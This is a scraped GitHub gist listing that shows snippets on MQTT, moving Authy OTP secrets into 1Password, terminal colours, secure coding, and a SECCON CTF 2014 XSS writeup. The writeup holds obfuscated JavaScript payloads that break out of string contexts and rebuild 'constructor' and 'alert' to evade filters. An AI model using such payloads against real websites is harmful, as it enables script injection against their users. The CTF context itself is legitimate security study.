Skip to content

Instantly share code, notes, and snippets.

View sters's full-sized avatar
🐱
meow!

sters sters

🐱
meow!
View GitHub Profile
@voluntas
voluntas / mqtt.rst
Last active March 1, 2023 06:47
MQTT とはなんだったのか

MQTT とはなんだったのか

更新

2017-05-09

作者

@voluntas

バージョン

3.14

URL

http://voluntas.github.io/

MQTT をググって調べた人向け

@tresni
tresni / gist:83b9181588c7393f6853
Last active February 19, 2024 08:00
Authy to 1Password

Moving Authy to 1Password

1Password 5.3 for OSX, 5.2 for iOS, and 4.1.0.538 for Windows support OTP. I've been using Authy for a while now, but the fact is, I haven't really been using 2FA for some time. As mentioned by 1Password in a recent blog post, having the OTP generator and password on the same device is very much not 2FA. It's just an expiring OTP, which can help, but let's not kid ourselves too much.

With that out of the way. One of the things that was interesting to me was moving my OTP out of Authy and into 1Password. I like the control I get with 1Password, but I didn't want to have to reset all my OTP right away, that would suck. So, I got to dissecting the Authy Chrome App to see what I could do.

Run the Authy Chrome app and make sure it's unlocked.

Now, enable Developer mode in Chrome. We'll need this to inspect the background application that stores al

@tyage
tyage / bonsai-xss.js
Last active October 23, 2020 03:32
SECCON CTF 2014 Online Qualifications, XSS Bonsai writeup
";hoge14='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[][hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()//
\";hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[][hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()//
',(hoge20='constructorhogee'.replace('hogee',''),hoge21='alerthogee'.replace('hogee',''),hoge22='XSShogee'.replace('hogee',''),[][hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()),'
")};hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge
@cocuh
cocuh / color_motd
Last active August 29, 2015 14:09
/etc/motd
////////// \||///////////////////| _,,,,,,,弋///////|/////
//////// \||//////////////////|ム,,ィ-"""゙ \//////|/////
/////// \lマ/////////////≠//|ム マ/////|/////
//////,,,, \l_\//////////////|ム ヽ///|/////
/////  ̄ ̄ ̄\ V/////////////|ム `"|/|/////
//// \l ////// \/////ム キ…゛,,ィzzチミミミミア/|/////
/// \マ ////ム \////ム ヽzzチミミ刊::::,,:::O|| \ア|/////
// """マ、Ⅵ//ム \///ムi、チ i|i::::||::::|| リ|/////
/ム --zzzzzzzzzzzム ゙
package MySQLCasualLog;
use strict;
use warnings;
use utf8;
use DBIx::QueryLog;
use Term::ANSIColor;
use Text::ANSITable;
@XVilka
XVilka / TrueColour.md
Last active April 8, 2024 14:02
True Colour (16 million colours) support in various terminal applications and terminals

THIS GIST WAS MOVED TO TERMSTANDARD/COLORS REPOSITORY.

PLEASE ASK YOUR QUESTIONS OR ADD ANY SUGGESTIONS AS A REPOSITORY ISSUES OR PULL REQUESTS INSTEAD!

# 私が考える安全なプログラムを書くために必要なこと
今も昔も「入力によって挙動が大幅に変わるAPI」が世の中には多数存在していて、プログラマが本来意図した挙動と異なる動作を引き起こしている。
- ファイルを開こうとしたらコマンドを実行できてしまったり
- CSSセレクタを書いてるつもりがHTMLタグを生成してしまったり
- SELECT文を発行するつもりがDELETE文を発行できてしまったり
こういったときに
- 入力値検証をしないと危険になる
@sasamijp
sasamijp / namechanger.rb
Created November 24, 2013 14:47
前Anonymousで公開してた
# -*- encoding: utf-8 -*-
require 'rubygems'
require 'tweetstream'
require 'twitter'
require './key.rb'
Twitter.configure do |config|
config.consumer_key = Const::CONSUMER_KEY
config.consumer_secret = Const::CONSUMER_SECRET
config.oauth_token = Const::ACCESS_TOKEN
@cmackay
cmackay / gist:5863257
Last active January 29, 2024 17:16
AppleScript to save and restore window position and sizes.
-- allSettings is a list of records containing {width:? height:? apps:{{name:? pos:? size:?},...}
-- for each display setup store the apps and their associated position and size
property allSettings : {}
-- create a variable for the current settings
set currentSettings to {}
display dialog "Restore or save window settings?" buttons {"Restore", "Save"} default button "Restore"
set dialogResult to result